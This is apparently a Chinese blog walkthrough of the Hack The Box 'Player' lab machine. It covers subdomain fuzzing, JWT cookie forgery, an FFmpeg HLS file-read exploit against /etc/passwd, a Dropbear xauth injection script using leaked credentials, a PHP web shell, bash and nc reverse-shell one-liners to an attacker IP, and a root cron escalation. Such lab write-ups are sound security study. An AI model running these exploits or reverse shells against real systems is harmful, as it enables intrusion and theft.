今天是大年初四,我已经把无聊的电影都看了一遍。春节过得也太无聊了..
recon
1 | nmap -sV -sT -sC -o nmapinitial player.htb |
开放了80
还有22
端口
Web Enumeration
访问http://player.htb/
页面返回403-Forbidden
使用wfuzz与subdomains-top1mil-5000.txt
来自seclists
枚举子域名,并得到这些结果:
1 | wfuzz --hc 403 -c -w subdomains-top1million-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145 |
将得到的结果添加入host
三个子域名逐个访问
发现http://staging.player.htb/
存在有意思的点
再留言处提交留言,会跳转到501.php
观察第三个数据包的响应包
1 | HTTP/1.1 200 OK |
可以看到泄露路径
1 | /var/www/staging/contact.php |
在http://chat.player.htb/
看到Olla和Vincent之间的聊天记录,Olla向他询问了一些渗透测试报告,他回答了2件事:
- 分阶段公开敏感文件。
- 主域公开源代码,允许在发布之前访问产品。
对主域名进行目录暴破
1 | wfuzz --hc 404 -c -w /usr/share/wordlists/dirb/common.txt http://player.htb/FUZZ |
访问http://player.htb/launcher
输入表单,会自动跳转到http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php?
从聊天中我们知道源代码暴露在某个地方,我想阅读源代码,http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786e.php.
因此我尝试了一些基本的操作,例如添加.swp
,.bak
以及~
在文件名之后。
看到了jwt
这个关键点
在jwt中,对cookie进行解码
上述代码的意思是
如果cookie通过'HS256'解码的值为"0E76658526655756207688271159624026011393"的话,则跳转到 7F2xxxxxxxxxxxxx/
如果cookie通过'HS256'解码的值不为"0E76658526655756207688271159624026011393"的话,跳转到index.html,就是刚才跳转的页面
所以我们需要重新制造一个cookie
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE |
可以看到cookie变更后来到了新的页面
exploit
FFmpeg HLS漏洞–>任意文件读取
新的页面存在上传文件功能
上传文件后发现新增了一个按钮,F12查看下
1 | <a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/1526724324.avi">Buffed Media</a> |
尝试上传一些其他格式的文件,返回的都是avi的文件类型
因此,我尝试了该ffmpeg HLS
exp,并创建了一个avi
要读取的测试/etc/passwd
,它的工作原理是:
1 | ./gen_xbin_avi.py file:///etc/passwd test.avi |
上传后点击Buffed Media
创建读取其他文件的avi
1 | ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi |
contact.php
没有任何有趣的内容,avi
for fix.php
为空。其中service_config
有一个名为的用户凭据telegen
:
1 | username: telegen |
尝试登陆http://dev.player.htb/
失败
尝试登陆ssh(22)失败
使用masscan快速扫描开放端口
1 | masscan -p1-65535 10.10.10.145 --rate=1000 -e eth0 |
nmap扫描端口详情
1 | nmap -p 6686 -sT -sV --version-all 10.10.10.145 |
使用nc探测端口
1 | ~ # nc player.htb 6686 |
发现可以ssh连接6686端口,连接上ssh后没有执行命令的权限
猜测6686端口应该是Dropbear是一个相对较小的SSH服务器和客户端。开源,在无线路由器等嵌入式linux系统中使用较多。
xauth Command Injection
searchsploit查找有没有openssh的漏洞,发现存在对应版本的漏洞
1 | searchsploit openssh |
1 | python /usr/share/exploitdb/exploits/multiple/remote/39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w' |
参考:CVE-2016-3116 Dropbear注入漏洞分析
readfile 本地文件读取
readfile读取user.txt
1 | .readfile /etc/passwd |
写文件反弹shell失败
.writefile /tmp/testfile1
thisisatestfile
读取之前没能通过FFmpeg HLS漏洞读取成功的文件内容
1 | #> .readfile /var/www/staging/fix.php |
看到了账号信息
1 | peter |
尝试登陆http://dev.player.htb/
登陆成功
Reverse shell
尝试着新建文件,但是无法新建成功。
于是想再project新建一个工程看看在工程下能不能新建文件成功。
失败,于是在/var/www/demo/home
下新建project
上传文件test.php
发现http://dev.player.htb/
的子目录下同样的可以看到test.php
wfuzz扫描http://dev.player.htb/
1 | wfuzz --hc 404 -c -w /usr/share/wordlists/dirb/common.txt http://dev.player.htb/FUZZ |
在home目录下可以看到test.php
这时候可以上传一个反弹shell的脚本shell.php
1 |
|
我们在http://dev.player.htb/home/shell.php?cmd=id
可以看到执行的命令
nc反弹shell
1 | bash -i >& /dev/tcp/10.10.15.142/4444 0>&1 |
补充一个
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.142 4444 >/tmp/f |
直接在小马的参数里面执行反弹shell的命令没能反弹成功,然后上传大马
这里用的家里的网,反弹shell 卡卡卡卡kkkkkkkk
Elevation
wget下载pspy
pspy是一种命令行工具,旨在无需root权限即可监听进程。它允许您在其他用户执行命令时查看它们,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
执行pspy时候遇到一些权限问题
1 | $ /tmp/pspy64s |
可以看到一条重要信息
1 | 2020/01/29 20:37:01 CMD: UID=0 PID=20002 | /usr/bin/php /var/lib/playbuff/buff.php |
/var/lib/playbuff/buff.php
是作为root权限执行的
1 |
|
虽然我们无法修改其中的文件内容,但是我们可以修改/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
1 | <?php |
在http://dev.player.htb/
上传文件pwned.sh,然后cp命令转移
然后kali监听就可以反弹shell了(root),这里已经看到执行了bash -c /tmp/pwned.sh
定时任务了
但是我一直等了好久都没能反弹成功